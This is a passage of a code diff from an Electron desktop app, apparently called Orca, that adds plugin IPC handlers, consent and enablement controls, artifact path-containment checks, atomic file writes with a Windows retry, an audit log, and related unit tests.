return installArgsSchema.parse(args)
}
const removeArgsSchema = z.object({
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
})
const logsArgsSchema = z.object({ pluginKey: z.string().min(1) })
export async function listPluginsForClients(
pluginService: PluginService
): Promise<PluginListEntry[]> {
await pluginService.whenReady()
const lock = await readPluginLockfile(getUserPluginsDir(pluginService.options.userDataPath))
return buildPluginList(pluginService, lock)
}
export function canRemoveInstalledPlugin(
pluginService: PluginService,
pluginKey: string,
lock?: PluginLockfile
): boolean {
return (
lock?.plugins[pluginKey]?.source.kind !== 'bundled' &&
pluginService.getDiscovered().some((plugin) => plugin.pluginKey === pluginKey && !plugin.isDev)
)
}
function rendererPanelOwner(webContentsId: number): string {
return `renderer:${webContentsId}`
}
export function registerPluginHandlers(
store: Store,
pluginService: PluginService,
runtime: OrcaRuntimeService | null,
marketplaceServices?: PluginMarketplaceHandlerServices
): void {
// The runtime IS the delegate: the structural PluginRuntimeDelegate type
// keeps the facade electron-free while main binds the real service.
if (runtime) {
pluginService.setRuntimeDelegate(runtime)
}
store.onSettingsChanged((updates) => {
if ('pluginSystemEnabled' in updates || 'devPluginPaths' in updates) {
// Main owns plugin lifecycle. Renderer follow-up refreshes are UX only;
// a crashed or remote caller must not leave old workers authoritative.
void pluginService.refresh().catch((error) => {
console.warn('[plugins] failed to apply plugin settings change:', error)
})
}
})
// Why: startup discovery is fire-and-forget; every handler awaits it so an
// early renderer fetch can't observe the empty pre-discovery list.
ipcMain.handle('plugins:list', async () => listPluginsForClients(pluginService))
ipcMain.handle('plugins:listLanguagePacks', async () => {
await pluginService.whenReady()
return pluginService.contentPacks.languagePacks.list()
})
ipcMain.handle('plugins:consent', async (event, args: unknown) => {
await pluginService.whenReady()
const parsed = parsePluginConsentArgs(args)
await applyPluginConsent({
store,
pluginService,
pluginKey: parsed.pluginKey,
reviewedFingerprint: parsed.reviewedFingerprint,
decision: parsed.decision,
originWebContentsId: event.sender.id
})
return listPluginsForClients(pluginService)
})
ipcMain.handle('plugins:setEnabled', async (event, args: unknown) => {
await pluginService.whenReady()
const parsed = setEnabledArgsSchema.parse(args)
await applyPluginEnablement({
store,
pluginService,
pluginKey: parsed.pluginKey,
enabled: parsed.enabled,
originWebContentsId: event.sender.id
})
return listPluginsForClients(pluginService)
})
// Why: the renderer renders panel HTML via a sandboxed iframe srcdoc, so it
// needs (CSP-wrapped) file contents — never a file:// path — across IPC.
ipcMain.handle(
'plugins:readPanelEntry',
async (event, args: unknown): Promise<PluginPanelEntry | null> => {
const ownerKey = rendererPanelOwner(event.sender.id)
const ownerLease = bindPluginPanelOwnerLifecycle(event.sender, () =>
pluginService.panels.revokeOwner(ownerKey)
)
await pluginService.whenReady()
const parsed = readPanelEntryArgsSchema.parse(args)
const entry = await pluginService.panels.open(ownerKey, parsed.pluginKey, parsed.panelId)
if (!ownerLease.isCurrent()) {
pluginService.panels.revokeOwner(ownerKey)
return null
}
return entry
}
)
// Panel-originated actions relayed by the renderer's postMessage bridge
// host. Capability enforcement happens in main, never in the renderer.
ipcMain.handle(
'plugins:panelAction',
async (event, args: unknown): Promise<PluginPanelActionOutcome> => {
await pluginService.whenReady()
return pluginService.panels.execute(rendererPanelOwner(event.sender.id), args)
}
)
ipcMain.handle('plugins:invokeCommand', async (_event, args: unknown) => {
await pluginService.whenReady()
const parsed = invokeCommandArgsSchema.parse(args)
return pluginService.invokeCommand(parsed.pluginKey, parsed.commandId, parsed.args)
})
ipcMain.handle('plugins:install', async (_event, args: unknown) => {
await pluginService.whenReady()
const parsed = parsePluginInstallArgs(args)
const pluginsDir = getUserPluginsDir(pluginService.options.userDataPath)
const hostVersion = pluginService.options.hostVersion
const blockedPluginReason = (pluginKey: string): string | null =>
pluginService.options.getPluginKillListEntry?.(pluginKey)?.reason ?? null
const result =
parsed.kind === 'local-path'
? await installPluginFromLocalPath({
pluginsDir,
sourcePath: parsed.path,
hostVersion,
blockedPluginReason
})
: await installPluginFromGit({
pluginsDir,
url: parsed.url,
ref: parsed.ref,
hostVersion,
blockedPluginReason
})
if (result.ok) {
await pluginService.refresh()
}
return result
})
ipcMain.handle('plugins:remove', async (event, args: unknown) => {
await pluginService.whenReady()
const parsed = removeArgsSchema.parse(args)
const pluginsDir = getUserPluginsDir(pluginService.options.userDataPath)
const lock = await readPluginLockfile(pluginsDir)
if (!canRemoveInstalledPlugin(pluginService, parsed.pluginKey, lock)) {
throw new Error(`cannot remove protected or non-installed plugin ${parsed.pluginKey}`)
}
await pluginService.deactivatePlugin(parsed.pluginKey)
await removeInstalledPlugin({
pluginsDir,
pluginsDataDir: getPluginsDataDir(pluginService.options.userDataPath),
pluginKey: parsed.pluginKey
})
// Drop the stale consent so a later reinstall re-prompts from scratch.
const settings = store.getSettings()
const consents = { ...settings.pluginConsents }
delete consents[parsed.pluginKey]
const disabledPlugins = normalizePluginIdList(settings.disabledPlugins).filter(
(pluginKey) => pluginKey !== parsed.pluginKey
)
store.updateSettings(
{ pluginConsents: consents, disabledPlugins },
{ notifyListeners: true, originWebContentsId: event.sender.id }
)
await pluginService.refresh()
return listPluginsForClients(pluginService)
})
ipcMain.handle('plugins:getLogs', async (_event, args: unknown) => {
const parsed = logsArgsSchema.parse(args)
return pluginService.getLogs(parsed.pluginKey)
})
// Re-discover after settings edits (feature flag, dev paths) — the
// renderer calls this right after updating those settings.
ipcMain.handle('plugins:refresh', async () => {
await pluginService.refresh()
return listPluginsForClients(pluginService)
})
if (marketplaceServices) {
registerPluginMarketplaceHandlers(pluginService, marketplaceServices)
}
}

View File

@ -532,7 +532,7 @@ describe('registerCoreHandlers', () => {
expect(registerFilesystemHandlersMock).toHaveBeenCalledWith(store)
expect(registerRuntimeHandlersMock).toHaveBeenCalledWith(runtime)
expect(registerRuntimeEnvironmentHandlersMock).toHaveBeenCalledWith(store)
expect(registerEphemeralVmHandlersMock).toHaveBeenCalledWith(store)
expect(registerEphemeralVmHandlersMock).toHaveBeenCalledWith(store, undefined)
expect(registerAiVaultHandlersMock).toHaveBeenCalledWith(
expect.objectContaining({
getAdditionalCodexHomePaths: getAdditionalAiVaultCodexHomePaths,

View File

@ -48,6 +48,7 @@ import { registerTelemetryHandlers } from './telemetry'
import { registerBrowserHandlers } from './browser'
import { registerShellHandlers } from './shell'
import { registerPetHandlers } from './pet'
import { registerPluginHandlers } from './plugins'
import { registerUIHandlers, setTrustedUIRendererWebContentsId } from './ui'
import { registerEmulatorFrameStreamHandlers } from './emulator-frame-stream'
import { registerEmulatorVideoStreamHandlers } from './emulator-video-stream'
@ -86,6 +87,8 @@ import {
prepareRuntimeAiVaultSessionResume,
scanRuntimeAiVaultSessions
} from '../ai-vault/runtime-session-scanner'
import type { PluginService } from '../plugins/plugin-service'
import type { PluginMarketplaceHandlerServices } from './plugin-marketplaces'
let registered = false
@ -115,7 +118,9 @@ export function registerCoreHandlers(
agentAwakeService?: AgentAwakeService,
crashReports?: CrashReportStore,
keybindings?: KeybindingService,
lifecycleOptions: CoreHandlerLifecycleOptions = {}
lifecycleOptions: CoreHandlerLifecycleOptions = {},
pluginService?: PluginService,
marketplaceServices?: PluginMarketplaceHandlerServices
): void {
// Why: on macOS the app can stay alive after all windows close, then
// openMainWindow() is called again on 'activate'. ipcMain.handle() throws
@ -175,7 +180,12 @@ export function registerCoreHandlers(
registerAutomationHandlers(store, automations)
}
if (keybindings) {
registerKeybindingHandlers(keybindings)
registerKeybindingHandlers(keybindings, () => {
void pluginService?.reconcileActivationState()
})
}
if (pluginService) {
registerPluginHandlers(store, pluginService, runtime, marketplaceServices)
}
registerTelemetryHandlers(store)
registerOrcaProfileHandlers(store, {
@ -201,7 +211,7 @@ export function registerCoreHandlers(
registerFilesystemWatcherHandlers()
registerRuntimeHandlers(runtime)
registerRuntimeEnvironmentHandlers(store)
registerEphemeralVmHandlers(store)
registerEphemeralVmHandlers(store, pluginService)
registerAiVaultHandlers({
getAdditionalCodexHomePaths: lifecycleOptions.getAdditionalAiVaultCodexHomePaths,
prepareSessionResume: lifecycleOptions.prepareAiVaultSessionResume,

View File

@ -384,6 +384,27 @@ describe('registerSettingsHandlers', () => {
)
})
it('does not accept plugin authority grants from generic renderer settings IPC', async () => {
store.getSettings.mockReturnValue({ pluginConsents: {}, disabledPlugins: [] })
store.updateSettings.mockReturnValue({ pluginConsents: {}, disabledPlugins: [] })
registerSettingsHandlers(store as never)
const handler = handleMock.mock.calls.find((call) => call[0] === 'settings:set')?.[1] as (
_event: unknown,
args: unknown
) => Promise<unknown>
await handler(settingsInvokeEvent, {
pluginConsents: { 'orca-samples.demo': 'sha256-forged' },
disabledPlugins: ['orca-samples.demo']
})
expect(store.updateSettings).toHaveBeenCalledWith(
{},
{ notifyListeners: true, originWebContentsId: 1 }
)
})
it('normalizes terminal scrollback row updates and drops legacy byte updates', async () => {
store.getSettings.mockReturnValue({ terminalScrollbackRows: 5_000 })
store.updateSettings.mockReturnValue({ terminalScrollbackRows: 50_000 })

View File

@ -37,6 +37,10 @@ function sanitizeRendererSettingsUpdate(args: Partial<GlobalSettings>): Partial<
const { terminalScrollbackBytes: _legacyScrollbackBytes, ...sanitizedArgs } =
args as LegacyTerminalScrollbackSettingsUpdate
void _legacyScrollbackBytes
// Plugin consent and enablement are main-owned authority state. Renderer
// writes must pass the dedicated reviewed-fingerprint handlers.
delete sanitizedArgs.pluginConsents
delete sanitizedArgs.disabledPlugins
return sanitizedArgs
}

View File

@ -95,7 +95,7 @@ import {
isENOENT,
registerWorktreeRootsForRepo
} from './filesystem-auth'
import type { OrcaRuntimeService } from '../runtime/orca-runtime'
import type { OrcaRuntimeService, RuntimeWorktreeLifecycleEvent } from '../runtime/orca-runtime'
import { killAllProcessesForWorktree } from '../runtime/worktree-teardown'
import { clearProviderPtyState, getLocalPtyProvider, getSshPtyProvider } from './pty'
import { findExistingWorktreeSymlinkPaths, removeWorktreeLinkedPaths } from './worktree-symlinks'
@ -987,7 +987,8 @@ function buildDisconnectedDetectedWorktrees(
export function registerWorktreeHandlers(
mainWindow: BrowserWindow,
store: Store,
runtime: OrcaRuntimeService
runtime: OrcaRuntimeService,
options?: { onWorktreeLifecycle?: (event: RuntimeWorktreeLifecycleEvent) => void }
): void {
// Remove previously registered handlers so re-register works when macOS re-activates and creates a new window.
ipcMain.removeHandler('worktrees:listAll')
@ -1285,6 +1286,13 @@ export function registerWorktreeHandlers(
notifyWorktreesChanged(mainWindow, repo.id)
}
options?.onWorktreeLifecycle?.({
kind: 'created',
worktreeId: result.worktree.id,
path: result.worktree.path,
branch: result.worktree.branch
})
return result
})
}
@ -1902,7 +1910,13 @@ export function registerWorktreeHandlers(
})()
worktreeRemovalsInFlight.set(inFlightKey, { optionsKey, promise: removal })
try {
return await removal
const result = await removal
options?.onWorktreeLifecycle?.({
kind: 'removed',
worktreeId: args.worktreeId,
path: parseWorktreeId(args.worktreeId).worktreePath
})
return result
} finally {
if (worktreeRemovalsInFlight.get(inFlightKey)?.promise === removal) {
worktreeRemovalsInFlight.delete(inFlightKey)

View File

@ -92,6 +92,32 @@ describe('keybinding-file', () => {
})
})
it('preserves valid plugin overrides while rejecting malformed plugin action IDs', () => {
writeFileSync(
filePath,
JSON.stringify({
keybindings: {
'plugin:orca-samples.tasks/open': 'Mod+Shift+T',
'plugin:tasks/open': 'Mod+Alt+T'
}
}),
'utf8'
)
const snapshot = readKeybindingFile(filePath, 'linux')
expect(snapshot.overrides).toEqual({
'plugin:orca-samples.tasks/open': ['Mod+Shift+T']
})
expect(snapshot.diagnostics).toMatchObject([
{ severity: 'warning', actionId: 'plugin:tasks/open' }
])
writeKeybindingOverride(filePath, 'linux', 'plugin:orca-samples.tasks/open', [])
expect(readKeybindingFile(filePath, 'linux').overrides).toEqual({
'plugin:orca-samples.tasks/open': []
})
})
it('ignores invalid, unknown, and conflicting manual edits', () => {
writeFileSync(
filePath,

View File

@ -0,0 +1,49 @@
import { describe, expect, it, vi } from 'vitest'
// Why: persistence.ts touches electron at import time; a minimal stub keeps
// this normalizer test focused instead of booting the full Store fixture.
vi.mock('electron', () => ({
app: {
getPath: () => '/tmp/orca-persistence-right-sidebar-tab-test'
},
safeStorage: {
isEncryptionAvailable: () => false,
encryptString: (plaintext: string) => Buffer.from(plaintext, 'utf-8'),
decryptString: (ciphertext: Buffer) => ciphertext.toString('utf-8')
}
}))
import { normalizeRightSidebarTab } from './persistence'
describe('normalizeRightSidebarTab', () => {
it.each(['explorer', 'search', 'vault', 'workspaces', 'source-control', 'checks', 'ports'])(
'preserves the built-in %s tab',
(tab) => {
expect(normalizeRightSidebarTab(tab)).toBe(tab)
}
)
// Regression: pr-checks was missing from the allow-list, so the folder
// PR Checks tab silently reset to Explorer on every app restart.
it('preserves the folder-only pr-checks tab across restarts', () => {
expect(normalizeRightSidebarTab('pr-checks')).toBe('pr-checks')
})
it('preserves well-formed plugin panel tabs', () => {
expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin/dashboard')).toBe(
'plugin:orca-samples.my-plugin/dashboard'
)
})
it('normalizes malformed plugin tabs to the default tab', () => {
expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin')).toBe('explorer')
expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin/panel/extra')).toBe('explorer')
expect(normalizeRightSidebarTab('plugin:My_Plugin/Panel!')).toBe('explorer')
})
it('normalizes unknown values to the default tab', () => {
expect(normalizeRightSidebarTab('bogus')).toBe('explorer')
expect(normalizeRightSidebarTab(undefined)).toBe('explorer')
expect(normalizeRightSidebarTab(42)).toBe('explorer')
})
})

View File

@ -72,6 +72,7 @@ import {
normalizeProjectRuntimePreference
} from '../shared/project-execution-runtime'
import { projectHostSetupProjectionFromRepos } from '../shared/project-host-setup-projection'
import { isPluginPanelTabKey } from '../shared/plugins/plugin-manifest'
import type { GitRemoteIdentity } from '../shared/git-remote-identity'
import {
buildTaskSourceContextFromRepo,
@ -781,18 +782,24 @@ function normalizeProjectOrderBy(projectOrderBy: unknown): PersistedState['ui'][
return getDefaultUIState().projectOrderBy
}
function normalizeRightSidebarTab(tab: unknown): PersistedState['ui']['rightSidebarTab'] {
export function normalizeRightSidebarTab(tab: unknown): PersistedState['ui']['rightSidebarTab'] {
if (
tab === 'explorer' ||
tab === 'search' ||
tab === 'vault' ||
tab === 'workspaces' ||
tab === 'pr-checks' ||
tab === 'source-control' ||
tab === 'checks' ||
tab === 'ports'
) {
return tab
}
// Why: plugin tabs are open-ended `plugin:<publisher>.<id>/<panel>` keys; validate the
// shape so a persisted plugin tab doesn't reset to Explorer on restart.
if (typeof tab === 'string' && isPluginPanelTabKey(tab)) {
return tab
}
return getDefaultUIState().rightSidebarTab
}

View File

@ -0,0 +1,26 @@
import {
getPluginActivationState,
type PluginConsentLists
} from '../../shared/plugins/plugin-consent-state'
import type { ValidDiscoveredPlugin } from './plugin-discovery'
export function snapshotPluginConsentLists(source: {
getPluginConsents: () => Record<string, string>
getDisabledPlugins: () => string[]
}): PluginConsentLists {
return {
pluginConsents: source.getPluginConsents(),
disabledPlugins: source.getDisabledPlugins()
}
}
export function isPluginApproved(
enabled: boolean,
plugin: ValidDiscoveredPlugin,
lists: PluginConsentLists
): boolean {
return (
enabled &&
getPluginActivationState(plugin.pluginKey, plugin.consentFingerprint, lists) === 'approved'
)
}

View File

@ -0,0 +1,12 @@
import type { OrcaVmRecipe } from '../../shared/types'
import type { PluginService } from './plugin-service'
export async function getApprovedPluginVmRecipes(
pluginService?: PluginService
): Promise<OrcaVmRecipe[]> {
if (!pluginService) {
return []
}
await pluginService.whenReady()
return pluginService.contentPacks.vmRecipes.list().map(({ recipe }) => recipe)
}

View File

@ -0,0 +1,193 @@
import { createReadStream } from 'node:fs'
import { realpath, stat } from 'node:fs/promises'
import { isAbsolute, relative, resolve, sep } from 'node:path'
import type { PluginManifest } from '../../shared/plugins/plugin-manifest'
import { parsePluginVmRecipeArtifact } from '../../shared/plugins/plugin-vm-recipe-artifact'
export type PluginArtifactValidationResult = { ok: true } | { ok: false; error: string }
export const PLUGIN_PANEL_ENTRY_MAX_BYTES = 10 * 1024 * 1024
export const PLUGIN_WORKER_ENTRY_MAX_BYTES = 50 * 1024 * 1024
const PLUGIN_ICON_MAX_BYTES = 2 * 1024 * 1024
export const PLUGIN_LANGUAGE_PACK_MAX_BYTES = 5 * 1024 * 1024
export const PLUGIN_VM_RECIPE_MAX_BYTES = 256 * 1024
const PLUGIN_AGENT_PROFILE_MAX_BYTES = 1024 * 1024
type DeclaredArtifact =
| { label: string; path: string; kind: 'file'; maxBytes: number }
| { label: string; path: string; kind: 'directory' }
function declaredArtifactPaths(manifest: PluginManifest): DeclaredArtifact[] {
return [
...(manifest.icon
? [
{
label: 'icon',
path: manifest.icon,
kind: 'file' as const,
maxBytes: PLUGIN_ICON_MAX_BYTES
}
]
: []),
...(manifest.main
? [
{
label: 'worker entry',
path: manifest.main,
kind: 'file' as const,
maxBytes: PLUGIN_WORKER_ENTRY_MAX_BYTES
}
]
: []),
...manifest.contributes.panels.map((panel) => ({
label: `panel "${panel.id}" entry`,
path: panel.entry,
kind: 'file' as const,
maxBytes: PLUGIN_PANEL_ENTRY_MAX_BYTES
})),
...manifest.contributes.languagePacks.map((languagePack) => ({
label: `language pack "${languagePack.locale}"`,
path: languagePack.path,
kind: 'file' as const,
maxBytes: PLUGIN_LANGUAGE_PACK_MAX_BYTES
})),
...manifest.contributes.vmRecipes.map((recipe) => ({
label: 'VM recipe',
path: recipe.path,
kind: 'file' as const,
maxBytes: PLUGIN_VM_RECIPE_MAX_BYTES
})),
...manifest.contributes.agents.map((agent) => ({
label: 'agent profile',
path: agent.path,
kind: 'file' as const,
maxBytes: PLUGIN_AGENT_PROFILE_MAX_BYTES
}))
]
}
export async function resolveContainedPluginArtifact(
rootDir: string,
relativePath: string,
maxBytes = PLUGIN_WORKER_ENTRY_MAX_BYTES
): Promise<string> {
const rootReal = await realpath(resolve(rootDir))
return resolvePathFromRealRoot(rootDir, rootReal, relativePath, 'file', maxBytes)
}
export async function readContainedPluginArtifactText(
rootDir: string,
relativePath: string,
maxBytes: number
): Promise<string> {
const artifact = await resolveContainedPluginArtifact(rootDir, relativePath, maxBytes)
const chunks: Buffer[] = []
let totalBytes = 0
for await (const chunk of createReadStream(artifact)) {
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
totalBytes += bytes.byteLength
if (totalBytes > maxBytes) {
throw new Error(`exceeds the ${maxBytes}-byte artifact limit`)
}
chunks.push(bytes)
}
return Buffer.concat(chunks, totalBytes).toString('utf8')
}
async function resolvePathFromRealRoot(
rootDir: string,
rootReal: string,
relativePath: string,
kind: 'file' | 'directory',
maxBytes?: number
): Promise<string> {
const artifactReal = await realpath(resolve(rootDir, ...relativePath.split(/[\\/]/)))
const fromRoot = relative(rootReal, artifactReal)
if (
fromRoot.length === 0 ||
isAbsolute(fromRoot) ||
fromRoot === '..' ||
fromRoot.startsWith(`..${sep}`)
) {
throw new Error('resolves outside the plugin directory')
}
const artifactStat = await stat(artifactReal)
if (kind === 'file' && !artifactStat.isFile()) {
throw new Error('is not a regular file')
}
if (kind === 'directory' && !artifactStat.isDirectory()) {
throw new Error('is not a directory')
}
if (kind === 'file' && maxBytes !== undefined && artifactStat.size > maxBytes) {
throw new Error(`exceeds the ${maxBytes}-byte artifact limit`)
}
return artifactReal
}
/** Presence and containment checks are bounded by the manifest's declared artifacts. */
export async function validateDeclaredPluginArtifacts(
rootDir: string,
manifest: PluginManifest
): Promise<PluginArtifactValidationResult> {
const artifacts = declaredArtifactPaths(manifest)
if (artifacts.length === 0) {
return { ok: true }
}
const seen = new Set<string>()
let rootReal: string
try {
rootReal = await realpath(resolve(rootDir))
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
}
for (const artifact of artifacts) {
if (seen.has(artifact.path)) {
continue
}
seen.add(artifact.path)
try {
await resolvePathFromRealRoot(
rootDir,
rootReal,
artifact.path,
artifact.kind,
artifact.kind === 'file' ? artifact.maxBytes : undefined
)
} catch (error) {
return {
ok: false,
error: `${artifact.label} ${artifact.path}: ${error instanceof Error ? error.message : String(error)}`
}
}
}
return { ok: true }
}
/** Parses declared VM recipe artifacts at the immutable install boundary. */
export async function validatePluginInstallContent(
rootDir: string,
manifest: PluginManifest
): Promise<PluginArtifactValidationResult> {
const vmRecipeIds = new Set<string>()
for (const contribution of manifest.contributes.vmRecipes) {
try {
const recipe = parsePluginVmRecipeArtifact(
await readContainedPluginArtifactText(
rootDir,
contribution.path,
PLUGIN_VM_RECIPE_MAX_BYTES
)
)
if (vmRecipeIds.has(recipe.id)) {
throw new Error(`duplicate VM recipe id "${recipe.id}"`)
}
vmRecipeIds.add(recipe.id)
} catch (error) {
return {
ok: false,
error: `VM recipe ${contribution.path}: ${error instanceof Error ? error.message : String(error)}`
}
}
}
return { ok: true }
}

View File

@ -0,0 +1,187 @@
import { mkdtemp, readFile, readdir, rm, stat } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import type * as FsPromises from 'node:fs/promises'
import {
renamePluginFileWithWindowsRetry,
writePluginFileAtomically
} from './plugin-atomic-file-write'
// Windows AV/indexer locks cannot be provoked on CI, so queue the errno codes instead.
const locks = vi.hoisted(() => ({ codes: [] as string[] }))
vi.mock('node:fs/promises', async (importOriginal) => {
const actual = await importOriginal<typeof FsPromises>()
return {
...actual,
rename: async (source: string, target: string) => {
const code = locks.codes.shift()
if (!code) {
return actual.rename(source, target)
}
throw Object.assign(new Error(`simulated ${code}`), { code })
}
}
})
function withPlatform(platform: string): () => void {
const original = Object.getOwnPropertyDescriptor(process, 'platform')
Object.defineProperty(process, 'platform', { value: platform, configurable: true })
return () => {
if (original) {
Object.defineProperty(process, 'platform', original)
}
}
}
describe('writePluginFileAtomically', () => {
let dir: string
beforeEach(async () => {
dir = await mkdtemp(join(tmpdir(), 'orca-plugin-atomic-'))
})
afterEach(async () => {
await rm(dir, { recursive: true, force: true })
})
it('writes contents and leaves no temp file behind', async () => {
const target = join(dir, 'current')
await writePluginFileAtomically(target, 'abc123')
expect(await readFile(target, 'utf8')).toBe('abc123')
expect(await readdir(dir)).toEqual(['current'])
})
it('replaces an existing file', async () => {
const target = join(dir, 'plugins.lock.json')
await writePluginFileAtomically(target, 'first')
await writePluginFileAtomically(target, 'second')
expect(await readFile(target, 'utf8')).toBe('second')
expect(await readdir(dir)).toEqual(['plugins.lock.json'])
})
it('applies the requested mode', async () => {
const target = join(dir, 'provenance.json')
await writePluginFileAtomically(target, '{}', { mode: 0o600 })
const mode = (await stat(target)).mode & 0o777
// Windows does not model POSIX permission bits.
if (process.platform !== 'win32') {
expect(mode).toBe(0o600)
}
})
it('cleans up the temp file when the write fails', async () => {
await expect(writePluginFileAtomically(join(dir, 'missing', 'x'), 'v')).rejects.toThrow()
expect(await readdir(dir)).toEqual([])
})
it('cleans up the temp file when the rename gives up', async () => {
const restorePlatform = withPlatform('win32')
locks.codes = Array.from({ length: 6 }, () => 'EPERM')
try {
await expect(writePluginFileAtomically(join(dir, 'current'), 'v')).rejects.toMatchObject({
code: 'EPERM'
})
expect(await readdir(dir)).toEqual([])
} finally {
restorePlatform()
locks.codes = []
}
})
it('runs concurrent writers to one target without leaking temp files', async () => {
const target = join(dir, 'sources.json')
await Promise.all(
Array.from({ length: 8 }, (_unused, index) =>
writePluginFileAtomically(target, `value-${index}`)
)
)
expect(await readdir(dir)).toEqual(['sources.json'])
expect(await readFile(target, 'utf8')).toMatch(/^value-\d$/)
})
})
describe('renamePluginFileWithWindowsRetry', () => {
it('renames when the source exists', async () => {
const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-'))
try {
await writePluginFileAtomically(join(dir, 'from'), 'payload')
await renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
expect(await readFile(join(dir, 'to'), 'utf8')).toBe('payload')
} finally {
await rm(dir, { recursive: true, force: true })
}
})
it('rethrows a non-retryable error', async () => {
const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-'))
try {
await expect(
renamePluginFileWithWindowsRetry(join(dir, 'absent'), join(dir, 'to'))
).rejects.toMatchObject({ code: 'ENOENT' })
} finally {
await rm(dir, { recursive: true, force: true })
}
})
describe('on Windows', () => {
let dir: string
let restorePlatform: () => void
beforeEach(async () => {
dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-win-'))
restorePlatform = withPlatform('win32')
})
afterEach(async () => {
restorePlatform()
locks.codes = []
await rm(dir, { recursive: true, force: true })
})
it.each(['EPERM', 'EACCES', 'EBUSY'])('retries past a transient %s lock', async (code) => {
await writePluginFileAtomically(join(dir, 'from'), 'payload')
locks.codes = [code, code]
await renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
expect(await readFile(join(dir, 'to'), 'utf8')).toBe('payload')
expect(locks.codes).toEqual([])
})
it('gives up after the last delay rather than looping forever', async () => {
await writePluginFileAtomically(join(dir, 'from'), 'payload')
// One more lock than there are delays, so the loop must exit on the bound.
locks.codes = Array.from({ length: 6 }, () => 'EBUSY')
await expect(
renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
).rejects.toMatchObject({ code: 'EBUSY' })
expect(locks.codes).toEqual([])
})
it('rethrows a non-retryable code without retrying', async () => {
await writePluginFileAtomically(join(dir, 'from'), 'payload')
locks.codes = ['ENOSPC', 'ENOSPC']
await expect(
renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
).rejects.toMatchObject({ code: 'ENOSPC' })
expect(locks.codes).toEqual(['ENOSPC'])
})
})
it('does not retry off Windows', async () => {
const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-posix-'))
const restorePlatform = withPlatform('linux')
try {
await writePluginFileAtomically(join(dir, 'from'), 'payload')
locks.codes = ['EPERM', 'EPERM']
await expect(
renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
).rejects.toMatchObject({ code: 'EPERM' })
expect(locks.codes).toEqual(['EPERM'])
} finally {
restorePlatform()
locks.codes = []
await rm(dir, { recursive: true, force: true })
}
})
})

View File

@ -0,0 +1,55 @@
import { randomUUID } from 'node:crypto'
import { rename, rm, writeFile } from 'node:fs/promises'
/**
* Atomic write for plugin state files (lockfile, provenance, pointers, caches).
*
* Why the retry: on Windows the rename can fail with EPERM/EACCES/EBUSY while
* antivirus or an indexer holds the target open (issue #1507). The repo's
* existing `renameFileWithWindowsRetry` covers the same hazard but is sync;
* every plugin write path is async, so the backoff parks on a timer instead.
*/
const WINDOWS_RENAME_RETRY_DELAYS_MS = [50, 100, 150, 200, 250]
export type PluginAtomicWriteOptions = { mode?: number }
export async function writePluginFileAtomically(
target: string,
contents: string,
options?: PluginAtomicWriteOptions
): Promise<void> {
// Unique temp name so concurrent writers in one plugins dir cannot collide.
const temporary = `${target}.${process.pid}.${randomUUID()}.tmp`
try {
await writeFile(temporary, contents, { encoding: 'utf8', mode: options?.mode })
await renamePluginFileWithWindowsRetry(temporary, target)
} finally {
await rm(temporary, { force: true }).catch(() => undefined)
}
}
export async function renamePluginFileWithWindowsRetry(
source: string,
target: string
): Promise<void> {
for (let attempt = 0; ; attempt += 1) {
try {
await rename(source, target)
return
} catch (error) {
const code = (error as NodeJS.ErrnoException).code
const retryable = code === 'EPERM' || code === 'EACCES' || code === 'EBUSY'
if (
process.platform !== 'win32' ||
!retryable ||
attempt >= WINDOWS_RENAME_RETRY_DELAYS_MS.length
) {
throw error
}
await new Promise<void>((resolve) =>
setTimeout(resolve, WINDOWS_RENAME_RETRY_DELAYS_MS[attempt])
)
}
}
}

View File

@ -0,0 +1,38 @@
import { mkdtemp, rm, stat } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { PluginAuditLog } from './plugin-audit-log'
const roots: string[] = []
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('PluginAuditLog retention', () => {
it('rotates bounded segments while preserving recent entries across the boundary', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-audit-'))
roots.push(root)
const audit = new PluginAuditLog(root, { maxBytes: 240 })
for (let index = 0; index < 8; index += 1) {
await audit.record({
ts: index,
actor: 'plugin:orca-samples.demo',
method: 'storage.set',
summary: `key=${index}`,
outcome: 'ok'
})
}
await expect(stat(join(root, 'audit.log'))).resolves.toMatchObject({
isFile: expect.any(Function)
})
await expect(stat(join(root, 'audit.log.1'))).resolves.toMatchObject({
isFile: expect.any(Function)
})
const recent = await audit.readRecent(3)
expect(recent.map((entry) => entry.ts)).toEqual([5, 6, 7])
})
})

View File

@ -0,0 +1,86 @@
import { appendFile, mkdir, readFile, rename, rm, stat } from 'node:fs/promises'
import { dirname, join } from 'node:path'
/**
* Append-only audit trail for host-API mutations performed on a plugin's
* behalf, with actor `plugin:<qualifiedKey>`. One JSONL file so support and
* enterprise policy tooling can replay exactly what plugins did through the
* gated API. (Honest scope: worker code acting through its own Node access
* bypasses this stated in the consent UI.) Mutation intents are awaited
* before their handler runs so an API-mediated write cannot outrun the log.
*/
export type PluginAuditEntry = {
ts: number
actor: `plugin:${string}`
method: string
/** Bounded summary — never full params (they may contain user content). */
summary: string
outcome: 'attempt' | 'ok' | 'error'
}
export class PluginAuditLog {
private readonly filePath: string
private readonly rotatedFilePath: string
private readonly maxBytes: number
private writeChain: Promise<void> = Promise.resolve()
private fileBytes: number | null = null
constructor(pluginsDataDir: string, options: { maxBytes?: number } = {}) {
this.filePath = join(pluginsDataDir, 'audit.log')
